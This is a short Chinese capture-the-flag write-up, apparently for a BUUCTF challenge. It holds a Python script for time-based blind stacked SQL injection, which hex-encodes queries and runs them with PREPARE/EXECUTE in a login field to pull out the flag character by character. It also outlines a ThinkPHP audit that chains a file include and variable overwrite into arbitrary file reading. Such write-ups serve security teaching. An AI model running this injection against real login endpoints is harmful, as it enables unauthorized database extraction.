注册界面关了。只有一个登陆。
普通的注入并没有啥效果。堆叠注入sleep执行了
以下是脚本
import requests
import time
from urllib.parse import unquote
r=requests.session()
slist='abcdefghijkmnlopqrstvuwxyzABCDEFGHIJKMNLOPQRSTVUWXYZ[](),{}_-1234567890.'
column=''
def hexpayload(s):
a=''
for i in s:
a+=hex(ord(i)).replace('0x','')
return a
for a in range(20,60):
for b in slist:
payload=hexpayload('select if(ascii(substr((select group_concat(flag) from flag),'+str(a)+',1))='+str(ord(b))+',sleep(5),1)')
url='http://57708694-cc2c-4516-92f1-0793ad0cd3a8.node3.buuoj.cn/index.php?r=Login/Login'
data={"username":"';set @a=0x"+str(payload)+";prepare execsql from @a;execute execsql;",
"password":"123"
}
t1=time.time()
r=requests.post(url=url,json=data)
t2=time.time()
print(str(a)+column)
if t2-t1>5:
column+=str(b)
break
得到glzjin_wants_a_girl_friend.zip
是个thinkphp框架。开始审计
首先看index.php
包含了三个文件。第一个是数据库配置文件
第二个是用来跳转到其他路由的。
这里可以包含其他文件。
在view/userIndex.php中。我们发现了一个任意文件读取。但是$img_file
参数不可控
之前可以包含其他文件。我们看下对应的UserController.php
利用如下:
index.php包含func.php用于路由
访问userControl.php下的index方法。传入r=User/Index
传入数字img_file。通过loadView方法后。进行变量覆盖。然后include/View/userIndex.php
。进行任意文件读取
base64解码得到flag